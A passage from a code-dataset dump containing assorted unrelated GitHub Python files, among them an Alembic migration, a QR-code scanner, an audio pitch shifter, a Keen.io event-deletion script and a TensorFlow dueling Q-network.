refund_invoice.message_post(body=message)\r\n new_invoices += refund_invoice\r\n return new_invoices\r\n # ================ FIN REFUND =======================================\r\n","repo_name":"gustavoarticadev/factiva","sub_path":"factiva_integracion/models/account_invoice.py","file_name":"account_invoice.py","file_ext":"py","file_size_in_byte":34177,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12153095756","text":"import sqlalchemy as sa\nfrom alembic import op\n\n# revision identifiers, used by Alembic.\nrevision = '9f485bd47729'\ndown_revision = 'ae5aec6f986a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('model_notes',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('title', sa.String(), nullable=False),\n sa.Column('text', sa.Text(), nullable=True),\n sa.Column('created_at', sa.DateTime(timezone=True), server_default=sa.text('now()'), nullable=False),\n sa.Column('model_id', sa.Integer(), nullable=False),\n sa.ForeignKeyConstraint(['model_id'], ['models.id'], onupdate='RESTRICT', ondelete='CASCADE'),\n sa.PrimaryKeyConstraint('id')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('model_notes')\n # ### end Alembic commands ###\n","repo_name":"deepchecks/monitoring","sub_path":"backend/deepchecks_monitoring/schema_migrations/versions/9f485bd47729_added_modelnote_entity.py","file_name":"9f485bd47729_added_modelnote_entity.py","file_ext":"py","file_size_in_byte":962,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"48"} +{"seq_id":"14223039846","text":"#import polyglot\nimport nltk \nimport json\n\n\n\nfrom neo4j import GraphDatabase, basic_auth\ndriver = GraphDatabase.driver(\n \"neo4j://localhost:7687\",\n auth=basic_auth(\"neo4j\", \"hi\"))\n#neo4j://127.0.0.1:7687\n#driver = GraphDatabase.driver(\"bolt://localhost:7687\", auth=(\"neo4j\", \"1234\")) #this is working\n\nwith driver.session() as session:\n results = session.run(\"MATCH (t:Tweet) RETURN t.text AS text, t.tweet_id AS tweet_id\")\n\n#print(results)\n\n tweetObjArr = []\n\n\n for r in results:\n tweetObj = {}\n tweetObj['id'] = r['tweet_id']\n tweetObj['text'] = r['text']\n tweetObjArr.append(tweetObj)\n\n print(len(tweetObjArr))\n\n entityArr = []\n\n for t in tweetObjArr:\n try:\n parsedTweet = {}\n parsedTweet['id'] = t['id']\n parsedTweet['text'] = t['text']\n parsedTweet['entities'] = []\n\n for sent in nltk.sent_tokenize(t['text']):\n for chunk in nltk.ne_chunk(nltk.pos_tag(nltk.word_tokenize(sent))):\n if hasattr(chunk, 'label'):\n print(chunk.label(), ' '.join(c[0] for c in chunk))\n eobj = {}\n eobj['tag'] = chunk.label()\n eobj['entity'] = ''.join(c[0] for c in chunk)\n parsedTweet['entities'].append(eobj)\n\n \n \n if len(parsedTweet['entities']) > 0:\n entityArr.append(parsedTweet)\n\n\n \n\n except:\n pass\n\n print(entityArr[:3])\n \n with open('parsed_tweets_scraped.json', 'w', encoding=\"utf8\") as f:\n json.dump(entityArr, f, ensure_ascii=False, sort_keys=True, indent=4)\n","repo_name":"ParthSalat47/NLP-in-Neo4j","sub_path":"working_experimentations/nltk_parsing.py","file_name":"nltk_parsing.py","file_ext":"py","file_size_in_byte":1701,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"48"} +{"seq_id":"126549461","text":"#!/usr/bin/python3.8\n\n##########################################################################\n# Author: Mahla Nasrollahi\n# Last Updated: 28/03/2021\n# File Name: take_process_img.py\n#\n# This script taken a given number of images and process them to see if they\n# are clear to be recognised in the image and if they are able to be decoded\n############################################################################\n\n\n# import the necessary packages\nfrom pyzbar import pyzbar\nimport time, datetime\nimport pandas as pd\nimport argparse, os\nimport numpy as np\nimport cv2 as cv\n\n# Determine the number of images you want to take in order to be analysed\nmaxFrames = 1\ncpt = 0\n\n\ndecode_result = []\nconfidence_score = []\nimage_direc = 'taken_images/'\ndecoded_img_path = 'decoded_img/'\nfinal_path = 'results/'\ncrop_dir = 'crop_img/'\n\ntry:\n vidStream = cv.VideoCapture(0) # index of your camera\nexcept:\n print (\"problem opening input stream\")\n sys.exit(1)\n\nwhile cpt < maxFrames:\n ret, frame = vidStream.read() # read frame and return code.\n if not ret: # if return code is bad, abort.\n sys.exit(0)\n cv.imshow(\"test window\", frame) # show image in window\n cv.imwrite(\"taken_images/image%i.jpg\" %cpt, frame)\n cpt += 1\n\ndef analye_img():\n for filename in os.listdir(image_direc):\n # Read the image files in directory specified\n if filename.endswith(\".jpg\"):\n image_path = str(os.path.join(image_direc, filename))\n # load the input image\n image = cv.imread(image_path)\n\n\n # find the barcodes in the image and decode each of the barcodes\n barcodes = pyzbar.decode(image)\n font = cv.FONT_HERSHEY_SIMPLEX\n\n # if no barcode is detected\n if not barcodes :\n result_txt = \"Decoding Failed\"\n # get boundary of this text\n textsize = cv.getTextSize(result_txt, font, 1, 2)[0]\n # get coords based on boundary\n textX = (image.shape[1] - textsize[0]) / 2\n textY = (image.shape[0] + textsize[1]) / 2\n cv.putText(image, result_txt, (int(textX), int(textY)), font, 2, (0, 0, 255), 2)\n\n save_decode = str(os.path.join(decoded_img_path, filename))\n cv.imwrite(save_decode, image)\n\n cv.destroyAllWindows()\n cv.waitKey(1)\n\n decode_result.append(result_txt)\n\n\n # loop over the detected barcodes\n for barcode in barcodes:\n # extract the bounding box location of the barcode and draw the\n # bounding box surrounding the barcode on the image\n (x, y, w, h) = barcode.rect\n cv.rectangle(image, (x, y), (x + w, y + h), (0, 255, 255), 3)\n\n # the barcode data is a bytes object so if we want to draw it on\n # our output image we need to convert it to a string first\n barcodeData = barcode.data.decode(\"utf-8\")\n barcodeType = barcode.type\n # draw the barcode data and barcode type on the image\n text = \"{} ({})\".format(barcodeData, barcodeType)\n result_txt = \"Decoding Passed\"\n cv.putText(image, result_txt, (x, y - 10), font, 1, (0, 255, 0), 1)\n\n save_decode = str(os.path.join(decoded_img_path, filename))\n cv.imwrite(save_decode, image)\n\n cv.destroyAllWindows()\n cv.waitKey(1)\n\n decode_result.append(result_txt)\n\n\ndef conf_score():\n for filename in os.listdir(decoded_img_path):\n if filename.endswith(\".jpg\"):\n image = str(os.path.join(decoded_img_path, filename))\n # Load an image\n frame = cv.imread(image)\n\n threshold = 0.6\n maxWidth = 1280; maxHeight = 720\n imgHeight, imgWidth = frame.shape[:2]\n hScale = 1; wScale = 1\n thickness = 1\n\n if imgHeight > maxHeight:\n hScale = imgHeight / maxHeight\n thickness = 6\n\n if imgWidth > maxWidth:\n wScale = imgWidth / maxWidth\n thickness = 6\n\n # Load class names and YOLOv3-tiny model\n classes = open('../qrcode.names').read().strip().split('\\n')\n net = cv.dnn.readNetFromDarknet('../qrcode-yolov3-tiny.cfg', '../qrcode-yolov3-tiny.weights')\n net.setPreferableBackend(cv.dnn.DNN_BACKEND_OPENCV)\n # net.setPreferableTarget(cv.dnn.DNN_TARGET_CPU) # DNN_TARGET_OPENCL DNN_TARGET_CPU DNN_TARGET_CUDA\n\n start_time = time.monotonic()\n # Convert frame to blob\n blob = cv.dnn.blobFromImage(frame, 1/255, (416, 416), swapRB=True, crop=False)\n elapsed_ms = (time.monotonic() - start_time) * 1000\n # print('blobFromImage in %.1fms' % (elapsed_ms))\n\n def postprocess(frame, outs):\n frameHeight, frameWidth = frame.shape[:2]\n\n classIds = []\n confidences = []\n boxes = []\n\n for out in outs:\n for detection in out:\n scores = detection[5:]\n classId = np.argmax(scores)\n confidence = scores[classId]\n if confidence > threshold:\n x, y, width, height = detection[:4] * np.array([frameWidth, frameHeight, frameWidth, frameHeight])\n left = int(x - width / 2)\n top = int(y - height / 2)\n classIds.append(classId)\n confidences.append(float(confidence))\n boxes.append([left, top, int(width), int(height)])\n\n indices = cv.dnn.NMSBoxes(boxes, confidences, threshold, threshold - 0.1)\n\n for i in indices:\n i = i[0]\n box = boxes[i]\n left = box[0]\n top = box[1]\n width = box[2]\n height = box[3]\n cropped_image = frame[top:top + height, left:left + width]\n\n try:\n # cv.imshow('cropped', cropped_image)\n crop_img = str(os.path.join(crop_dir, filename))\n cv.imwrite(crop_img, cropped_image)\n except:\n pass\n\n # Draw bounding box for objects\n cv.rectangle(frame, (left, top), (left + width, top + height), (255, 0, 255), thickness)\n # Draw class name and confidence\n label = '%s:%.2f' % (classes[classIds[i]], confidences[i])\n cv.putText(frame, label, (left, top), cv.FONT_HERSHEY_SIMPLEX, 2, (255,255,255), 1)\n confidence_score.append(confidences[i])\n\n # Determine the output layer\n ln = net.getLayerNames()\n ln = [ln[i[0] - 1] for i in net.getUnconnectedOutLayers()]\n\n net.setInput(blob)\n start_time = time.monotonic()\n # Compute\n outs = net.forward(ln)\n elapsed_ms = (time.monotonic() - start_time) * 1000\n # print('forward in %.1fms' % (elapsed_ms))\n\n start_time = time.monotonic()\n postprocess(frame, outs)\n # print(postprocess(frame, outs))\n elapsed_ms = (time.monotonic() - start_time) * 1000\n # print('postprocess in %.1fms' % (elapsed_ms))\n\n if hScale > wScale:\n frame = cv.resize(frame, (int(imgWidth / hScale), maxHeight))\n elif hScale < wScale:\n frame = cv.resize(frame, (maxWidth, int(imgHeight / wScale)))\n\n #cv.imshow('QR Detection', frame)\n save_img = str(os.path.join(final_path, filename))\n cv.imwrite(save_img, frame)\n cv.destroyAllWindows()\n cv.waitKey(1)\n\ndef main():\n print(\"[INFO] Scanning images...\")\n analye_img()\n conf_score()\n print(\"[INFO] Finished scanning.\")\n print(\"Date and Time: {}\".format(datetime.datetime.now()))\n\n # Save resutls in excel\n df = pd.DataFrame(columns=['Image number','Confidence Score', 'Decoding Passed'])\n counter=0\n for i, j in zip(confidence_score, decode_result):\n df = df.append({'Image number' : counter, 'Confidence Score': i, 'Decoding Passed':j}, ignore_index=True)\n counter += 1\n writer = pd.ExcelWriter('taken_picture.xlsx')\n\n df.to_excel(writer, sheet_name='taken_picture', index=False)\n writer.save()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"mahlaNasr/nao_robot_project","sub_path":"analyse_qrcode/take_process_img/take_process_img.py","file_name":"take_process_img.py","file_ext":"py","file_size_in_byte":8735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"72550937426","text":"# Class that\nimport numpy as np\nimport yin\nimport math\nimport librosa\n\nclass pitch_shifter:\n\n def __init__(self, raw_audio, fundamentals, window_size=4096, sr = 22050, max_freq=350):\n\n # if system != \"eq-temp\":\n # raise ParameterError('Define other tuning system')\n\n self.fundamentals = fundamentals[::-1]\n num_notes = len(fundamentals)\n\n # Tuning boundaries based on fundamentals\n # Used to categorize intended frequencies to tuned counterpart\n # Test frequency 27.0 Hz should map to 27.5 (index 1 in the fundamentals array).\n # The first boundary that the test frequency is greater than (26.728 Hz, index 1 in the boundary array)\n # So the proper assignment for the test frequency is the value at index 1 in fundamentals array.\n boundaries = [(self.fundamentals[i - 1] + self.fundamentals[i]) / 2 for i in range(1, num_notes)]\n boundaries.insert(0, 20) # 20 is lower bound of tolerable frequencies\n boundaries.insert(num_notes, 4100) # 4100 is upper bound of tolerable frequencies\n self.boundaries = boundaries\n\n self.sr = sr\n self.max_freq = max_freq\n self.raw_audio = raw_audio\n self.window_size = window_size\n self.no_samples = self.raw_audio.shape[0]\n dumm_nw = int(math.floor(float(self.no_samples) / window_size))\n self.hop_size = window_size / 2\n self.num_windows = int(math.floor(float(self.no_samples) / self.hop_size)) - 1\n\n def get_freqs(self, threshold):\n '''\n Using the audio given to class, find intended pitch values and return \"tuned\" pitch values\n :param threshold: ??? TODO\n :param sr: int representing sample rate\n :return: (array of intended fundamental frequencies, array of \"tuned\" fundamental frequencies)\n '''\n intended_fund_freqs = np.empty(self.num_windows)\n tuned_fund_freqs = np.empty(self.num_windows)\n\n st_pos = 0\n i = 0\n while st_pos < (self.no_samples - self.window_size):\n\n freq = yin.get_pitch(self.raw_audio[st_pos : st_pos + self.window_size], threshold, self.sr)\n\n if freq < 0 or freq > self.max_freq:\n freq = 0\n intended_fund_freqs[i] = freq\n\n tf_idx = [idx for idx, bound in enumerate(self.boundaries) if freq < bound]\n if tf_idx == []:\n tf_idx = 0\n else:\n tf_idx = tf_idx[0]\n\n tuned_fund_freqs[i] = self.fundamentals[tf_idx - 1]\n\n st_pos = st_pos + self.hop_size\n i += 1\n\n self.intended_fund_freqs = intended_fund_freqs\n\n\n\n self.tuned_fund_freqs = tuned_fund_freqs\n\n\n def half_steps_between(self, f1, f2, system=\"eq-temp\"):\n if system == \"eq-temp\":\n if f1 == 0:\n return 0\n n_half_steps = 12*math.log((f2/f1), 2)\n return n_half_steps\n\n def shift_audio(self):\n\n self.tuned_audio = np.zeros(len(self.raw_audio))\n\n st_pos = 0\n idx = 0\n while st_pos < (self.no_samples - self.window_size):\n\n n_half_steps = self.half_steps_between(self.intended_fund_freqs[idx], self.tuned_fund_freqs[idx])\n\n end_pos = st_pos + self.window_size\n windowed = self.raw_audio[st_pos:end_pos] * np.hanning(self.window_size)\n self.tuned_audio[st_pos:end_pos] = self.tuned_audio[st_pos:end_pos] +\\\n librosa.effects.pitch_shift(windowed,\n self.sr,\n n_steps = n_half_steps)\n\n st_pos = st_pos + self.hop_size\n idx += 1\n\n\n return self.tuned_audio\n","repo_name":"cmurray7/songbird","sub_path":"pitch_shifter.py","file_name":"pitch_shifter.py","file_ext":"py","file_size_in_byte":3802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4668749023","text":"#!/usr/bin/python\nimport csv\nimport keen\nimport json\n\n# A working script for programmatically deleting events based on a list of keen.ids\n\n# Ex of a file where you assign a variable to the file path where a list of given keen_ids are hosted\njorges_file = '/Users/jorgecano/keen_requests_internal/jorges_file.csv'\n\n# Assign an variable to append the list from a csv file\ninfo = []\n\n# Reads in file and pulls out Keen_id\ndef read_file(csv_file):\n with open (csv_file, 'r') as f:\n csv_reader = csv.DictReader(f)\n\n# Loop through the list of Keen_id and append to our info var\n for line in csv_reader:\n keen_ids = line['Keen_id']\n info.append(keen_ids)\n\n# Create a function that iterates through the list of items on the csv and repeats the keen.delete api call\ndef action_delete(keenid_details):\n keen.project_id = \"YOUR_PROJECT_ID\"\n keen.read_key = \"YOUR_READ_KEY\"\n keen.master_key= \"YOUR_MASTER_KEY\"\n keen.write_key=\"YOUR_WRITE_KEY\"\n\n prop_keen = keen.delete_events(\"NAME_SPECIFIED_EVENT\",\n timeframe=\"this_30_days\",\n filters=[{\n \"operator\":\"eq\",\n \"property_name\":\"keen.id\",\n \"property_value\": \"{0}\".format(keenid_details)\n }])\n return prop_keen\n\nif __name__ == '__main__':\n read_file(jorges_file)\n for line in info:\n print(json.dumps(action_delete(line), indent=4))\n time.sleep(7)\n\n","repo_name":"JAC-Keen/api-scripts","sub_path":"delete_events_keenid.py","file_name":"delete_events_keenid.py","file_ext":"py","file_size_in_byte":1400,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"38914243333","text":"#!/usr/bin/env python3\nimport time\nimport string\nimport random \nimport warnings\nimport re\nwarnings.simplefilter(\"ignore\",FutureWarning)\nletters=list(string.ascii_letters+string.digits)\npunc = [char for char in \"%&!,:£%_`;@=><~#'\"]\n#can only concatenate list to list\nspecial = [\"[a-z]\",\"[a-zA-Z]\",\".\",\"\\\\w\",\"\\\\W\",\"\\\\s\",\"\\\\S\",\"\\\\d\",\"\\\\D\",\"\\\\.\"]\n#some charactrers that break stuff\nevenSpecialer = [\"\\\\{\",\"\\\\}\",\"\\\\[\",\"\\\\]\",\"\\\\(\",\"\\\\)\"]\n\nalphabet=letters+punc+special\nspecialAlphabet = alphabet+evenSpecialer\n\nmodifiers=[\"?\",\"*\",\"+\",\"()\",\"[]\",\"{}\",None]\nweights = (4,12,14,20,15,15,10)\n\npattern=\"^\"\nlength = 60\nbackreferences=0\ncurrentNum = 1\nwhile currentNum 1 or m > 1):\n\tif n == 0 or m == 0:\n\t\tbreak\n\t\t\n\tif n > m:\n\t\tn -= 2\n\t\tm -= 1\n\t\tcnt += 1\n\telse:\n\t\tm -= 2\n\t\tn -= 1\n\t\tcnt += 1\n\nprint(cnt)\n","repo_name":"ZenithZyf/Codes","sub_path":"codeForce/519c.py","file_name":"519c.py","file_ext":"py","file_size_in_byte":186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17047636831","text":"import redis\r\nfrom flask import Flask\r\n\r\napp = Flask(__name__)\r\ncache = redis.Redis(host='redis', port=6379)\r\n\r\n\r\n@app.route('/')\r\ndef hello():\r\n return \"Lior-Swisa\"\r\nhello()\r\n\r\nif __name__ == \"__main__\":\r\n app.run(host=\"0.0.0.0\", debug=True)","repo_name":"photop33/pythonProject10","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":248,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11353119347","text":"string1 = 'Olá'\nstring2 = 'Mundo'\nprint(f'String 1: {string1}')\nprint(f'String 2: {string2}')\nprint(f'tamanho de \"{string1}\": {len(string1)}')\nprint(f'tamanho de \"{string2}\": {len(string2)}')\nif len(string1) == len(string2):\n tamanho = 'iguais'\nelse:\n tamanho = 'diferentes'\nif string1 == string2:\n conteudo = 'igual'\nelse:\n conteudo = 'diferente'\nprint(f'As duas strings são de tamanhos {tamanho}.')\nprint(f'As duas strings possuem conteúdo {conteudo}.')","repo_name":"aldrinpscastro/PythonExercicios","sub_path":"Strings/ex001.py","file_name":"ex001.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"2523258903","text":"import tensorflow as tf\n\nclass VisualDuelingQNetwork(tf.keras.Model):\n\n def __init__(self,actions_size,state_size):\n super(VisualDuelingQNetwork,self).__init__()\n self.action_size = actions_size\n self.state_size = state_size\n\n self.features = tf.keras.Sequential([\n tf.keras.layers.Conv2D(filters=32,kernel_size=(3,3),activation = 'relu',input_shape= self.state_size ),\n tf.keras.layers.MaxPool2D((2,2)),\n tf.keras.layers.Conv2D(filters=32,kernel_size=(3,3),activation='relu'),\n tf.keras.layers.MaxPool2D((2,2)),\n tf.keras.layers.Flatten(),\n tf.keras.layers.Dense(32,activation='elu')\n ])\n\n self.value_stream = tf.keras.Sequential([\n tf.keras.layers.Dense(128, activation='elu', input_shape=[32]),\n tf.keras.layers.Dense(1)\n ])\n\n self.advantage = tf.keras.Sequential([\n tf.keras.layers.Dense(128, activation='elu', input_shape=[32]),\n tf.keras.layers.Dense(self.action_size)\n ])\n\n def call(self, state):\n features = self.features(state)\n values = self.value_stream(features)\n advantage = self.advantage(features)\n\n Q_values = values + (advantage - tf.reduce_mean(advantage))\n\n return Q_values\n\n","repo_name":"Micka-ui/ReinforcementLearning","sub_path":"VisualDuelingQNetwork.py","file_name":"VisualDuelingQNetwork.py","file_ext":"py","file_size_in_byte":1308,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"10051783278","text":"import argparse\nimport glob\nimport json\nimport os\nimport re\n\n\nclass SizeDoesNotMatchException(Exception):\n pass\n\n\ndef compare_size(s1, s2):\n if len(s1) != len(s2):\n raise SizeDoesNotMatchException(\"data size does not match\")\n\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-d\", \"--directory\",\n default=\"movies_search_count\",\n help=\"path of the json directory\",\n type=str)\n\nparser.add_argument(\"-j\", \"--jsonfile\",\n default=\"search_count.json\",\n help=\"path of the search_count.json\",\n type=str)\n\nargs = parser.parse_args()\n\nkey = 'search_count'\nfiles = glob.glob(os.path.join(glob.escape(args.directory), '*.json'))\nfiles.sort(key=lambda p: int(re.findall(r'\\d+', p)[-1]))\n\nwith open(args.jsonfile, 'r') as jsonfile:\n search_count = json.loads(jsonfile.read())\n\n\ntry:\n compare_size(files, search_count)\n for path, sc in zip(files, search_count):\n with open(path) as f:\n jf = json.loads(f.read())\n jf[key] = int(sc[key].replace(',', ''))\n with open(path, 'w') as wf:\n data = json.dump(jf, wf,\n ensure_ascii=False,\n indent=4,\n separators=(',', ':'))\n wf.write(\"\\n\")\n\n\nexcept SizeDoesNotMatchException as e:\n print(\"size\", len(files), \"does not match size\", len(search_count))\n print(\"Exception: \", e)\n","repo_name":"kondounagi/japanese_movies_dataset","sub_path":"google_search_count/register_search_count.py","file_name":"register_search_count.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"3713887872","text":"from libs.simplex_method.simplex_method import SimplexMethod, Sign, Extremum\n\n\nsm_result = SimplexMethod.problem(\n function=[5,8,6],\n conditions=[\n ([5,5,2,1200], Sign.LEQ),\n ([4,0,3,300], Sign.LEQ),\n ([0,2,4,800], Sign.LEQ),\n ],\n extremum=Extremum.MAX\n ).calculate()\nprint(sm_result)\nif sm_result is not None:\n for matrix in sm_result.simplex_tables:\n print(matrix)\n\n","repo_name":"Emperator122/simplex_method","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8602696565","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom __future__ import division\n\nfrom ...base.Constants import *\nfrom ...base.Utils import *\n\nfrom ... import models as Models\n\nfrom .Base import *\nfrom .PreProcessing import PreProcessing\nfrom .Monitoring import Monitoring\n\nfrom .StateResume import StateResume\n\nlog = logging.getLogger(__name__)\n\nclass StateStart(Controller):\n\n\tdef process(self):\n\t\t# load exp from db\n\t\tfor nodeGroup in self.dbController.getNodeGroupsForExperiment(self.experiment):\n\t\t\tself.experiment.addNodeGroup(nodeGroup)\n\t\tfor host in self.dbController.getHosts():\n\t\t\tif host.getNodePlaces() > 0:\n\t\t\t\tself.experiment.addHost(host)\n\t\tfor workload in self.dbController.getWorkloads():\n\t\t\tself.experiment.addWorkload(workload)\n\t\tfor nodeData in self.dbController.getNodeData(self.experiment):\n\t\t\tself.experiment.addNodeData(nodeData)\n\t\tfor prototype in self.dbController.getPrototypes(self.experiment):\n\t\t\tprototype.processFiles()\n\t\t\tself.experiment.addPrototype(prototype)\n\t\tfor nodegroupHostRelation in self.dbController.getNodegroupHostRelations(self.experiment):\n\t\t\tself.experiment.addNodegroupHostRelation(nodegroupHostRelation)\n\t\t\t\n\t\t# init random seed\n\t\tRandom.setSeed(int(self.experiment.getDB(\"seed\")))\n\t\t\n\t\tself.specifyClientExperimentFiles()\n\n\n\t\t\n\t\texperiment = self.experiment\n\t\t\n\t\ttry:\n\t\t\ttry:\n\t\t\t\texperiment.checkObjects()\n\t\t\texcept Exception as e:\n\t\t\t\tlog.exception(e)\n\t\t\t\tquit(1)\n\t\t\t\n\t\t\t# check experiment size (# nodes)\n\t\t\tmessage = 'Average number of online nodes = {0}, number of fixed nodes = {1}, effective number of nodes = {2}'\n\t\t\tlog.info(message.format(experiment.getDB(\"size\"), experiment.getFixedNodesCount(),\n\t\t\t\t\t\t\t\t\t\t\texperiment.effectiveTotalNodeSize()))\n\t\t\tprint(message.format(experiment.getDB(\"size\"), experiment.getFixedNodesCount(),\n\t\t\t\t\t\t\t\t\t\t\texperiment.effectiveTotalNodeSize()))\n\t\t\t# process workload\n\t\t\tPreProcessing.processWorkload(state=self)\n\t\t\t\n\t\t\t# check hosts\n\t\t\t# check ssh connection\n\t\t\t# inspect hosts\n\t\t\tcheckingHosts = True\n\t\t\thosts = self.experiment.getHosts()\n\t\t\tlog.debug(\"%d hosts in list\"%len(hosts))\n\t\t\twhile checkingHosts:\n\t\t\t\tresults = Monitoring.inspectHosts(state=self, hosts=hosts)\n\t\t\t\tif 0 < len(results['failedHosts']):\n\t\t\t\t\twhile True:\n\t\t\t\t\t\tinput = askUserOption('(l)ist failed Hosts, (r)etry, (a)bort, (c)ontinue', ['r','a','c', 'l'], 'c', 'a')\n\t\t\t\t\t\tif input == 'r':\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telif input == 'c':\n\t\t\t\t\t\t\tfailedHosts = results['failedHosts']\n\t\t\t\t\t\t\tlog.debug(\"continue and remove failed hosts (%d)\"%len(failedHosts))\n\t\t\t\t\t\t\tself.removeHosts(failedHosts)\n\t\t\t\t\t\t\tcheckingHosts = False\n\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\telif input == 'a':\n\t\t\t\t\t\t\tlog.info('abort check ssh connection, quit')\n\t\t\t\t\t\t\tquit(0)\n\t\t\t\t\t\telif input == 'l':\n\t\t\t\t\t\t\tfor index,host in enumerate(results['failedHosts']):\n\t\t\t\t\t\t\t\tprint('host: {0}; {1}'.format(host,results['logs'][index]))\n\t\t\t\t\t\t\tcontinue\n\t\t\t\telse:\n\t\t\t\t\tcheckingHosts = False\n\t\t\t\t\t\t\t\n\t\t\t# assign nodes to hosts\n\t\t\tgreedy = askUserOption('node-host assignment: use as (less)/(many) as possible hosts', ['less','many'],'many','')\n\t\t\tif greedy == 'less':\n\t\t\t\tgreedy = False\n\t\t\telse:\n\t\t\t\tgreedy = True\n\t\t\t\t\t\t\t\n\t\t\tPreProcessing.assignNodesToHosts(state=self, greedyHostSelection = greedy)\n\t\t\t\n\t\t\t# complete node events\n\t\t\t# set node args for each event, with addr, port, seed, ...\n\t\t\tPreProcessing.processNodeEventParameter(state=self)\n\t\t\t\n\t\t\t# prepare experiment\n\t\t\tPreProcessing.processExperimentAndPrototypeData(state=self)\n\t\t\t\n\t\t\t# write all nodes and all events in db\n\t\t\tPreProcessing.storeNodesAndEvents(state=self)\n\n\t\t\t# prepare hosts\n\t\t\tPreProcessing.prepareHostsWorkingDir(state=self)\n\t\t\t\n\t\t\t# prepare nodeDB\n\t\t\tPreProcessing.prepareNodeDB(state=self)\n\t\t\t\n\t\t\t# copy files\n\t\t\tPreProcessing.copyExperimentAndPrototype(state=self)\n\t\t\t\n\t\t\t# prepare exp start\n\t\t\tPreProcessing.prepareStartExperiment(state=self)\t\n\t\t\t\n\t\t\tself.experiment.setInitialized(True)\n\t\t\traise ChangeState(StateResume)\n\t\texcept KeyboardInterrupt as e:\n\t\t\tlog.error('\\nctrl-c received\\n')\n\t\t\tself.stopMaster()\n\n\n\tdef specifyClientExperimentFiles(self):\n\t\t# thinClient main\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.scriptsPath,PATHS.THINCLIENT_MAIN)\n\t\tvalues['target_sub_dir'] = None\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\n\t\t# experiment_node.db\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.cwdPath,PATHS.NODE_DATABASE)\n\t\tvalues['target_sub_dir'] = None\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\n\t\t# sendSignal.py\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.scriptsPath,PATHS.THINCLIENT_SENDSIGNAL)\n\t\tvalues['target_sub_dir'] = None\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\n\t\t# all testbed modules\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.basePath, '*.py')\n\t\tvalues['target_sub_dir'] = 'testbed'\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.basePath,'base','*.py')\n\t\tvalues['target_sub_dir'] = 'testbed/base'\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.basePath,'client','*.py')\n\t\tvalues['target_sub_dir'] = 'testbed/client'\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = os.path.join(self.basePath, 'models','*.py')\n\t\tvalues['target_sub_dir'] = 'testbed/models'\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t# experiment_db\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = str(os.path.abspath(self.properties.database))\n\t\tvalues['target_sub_dir'] = None\n\t\tvalues['target_file_name'] = PATHS.THINCLIENT_DB_FILE\n\t\tvalues['recursive'] = False\n\t\tself.experiment.addExperimentData(Models.HostInteraction.ExperimentData(values))\n\t\t\t\t\t\t\t\t\t\t\t\n\t\t# config\n\t\tvalues = dict.fromkeys(Models.HostInteraction.ExperimentData.FIELDS)\n\t\tvalues['path'] = str(os.path.abspath(self.properties.config))\n\t\tvalues['target_sub_dir'] = None\n\t\tvalues['target_file_name'] = 